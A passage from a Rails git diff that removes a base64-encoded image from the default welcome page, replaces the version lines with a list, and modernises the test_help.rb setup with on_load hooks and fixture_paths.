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" />
-
-      <p class="version">
-        <strong>Rails version:</strong> <%= Rails.version %><br />
-        <strong>Ruby version:</strong> <%= RUBY_VERSION %> (<%= RUBY_PLATFORM %>)
-      </p>
-    </section>
-  </div>
+  <ul>
+    <li><strong>Rails version:</strong> <%= Rails.version %></li>
+    <li><strong>Rack version:</strong> <%= Rack.release %></li>
+    <li><strong>Ruby version:</strong> <%= RUBY_DESCRIPTION %></li>
+  </ul>
 </body>
+
 </html>
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 5fda160012f56..72692f43cc79d 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -1,41 +1,46 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
 # Make double-sure the RAILS_ENV is not set to production,
 # so fixtures aren't loaded into that environment
 abort("Abort testing: Your Rails environment is running in production mode!") if Rails.env.production?
 
-require "rails/test_unit/minitest_plugin"
 require "active_support/test_case"
-require "action_controller"
-require "action_controller/test_case"
-require "action_dispatch/testing/integration"
 require "rails/generators/test_case"
-
 require "active_support/testing/autorun"
 
-if defined?(ActiveRecord::Base)
-  ActiveRecord::Migration.maintain_test_schema!
+require "rails/testing/maintain_test_schema"
 
-  class ActiveSupport::TestCase
+if defined?(ActiveRecord::Base)
+  require "active_record/testing/query_assertions"
+  ActiveSupport.on_load(:active_support_test_case) do
+    include ActiveRecord::TestDatabases
     include ActiveRecord::TestFixtures
-    self.fixture_path = "#{Rails.root}/test/fixtures/"
-    self.file_fixture_path = fixture_path + "files"
-  end
+    include ActiveRecord::Assertions::QueryAssertions
 
-  ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
+    self.fixture_paths << "#{Rails.root}/test/fixtures/"
+    self.file_fixture_path = "#{Rails.root}/test/fixtures/files"
+  end
 
-  def create_fixtures(*fixture_set_names, &block)
-    FixtureSet.create_fixtures(ActiveSupport::TestCase.fixture_path, fixture_set_names, {}, &block)
+  ActiveSupport.on_load(:action_dispatch_integration_test) do
+    self.fixture_paths += ActiveSupport::TestCase.fixture_paths
+  end
+else
+  ActiveSupport.on_load(:active_support_test_case) do
+    self.file_fixture_path = "#{Rails.root}/test/fixtures/files"
   end
 end
 
-class ActionController::TestCase
-  def before_setup # :nodoc:
+ActiveSupport.on_load(:action_controller_test_case) do
+  def before_setup
     @routes = Rails.application.routes
     super
   end
 end
 
-class ActionDispatch::IntegrationTest
-  def before_setup # :nodoc:
+ActiveSupport.on_load(:action_dispatch_integration_test) do
+  def before_setup
     @routes = Rails.application.routes
     super
   end
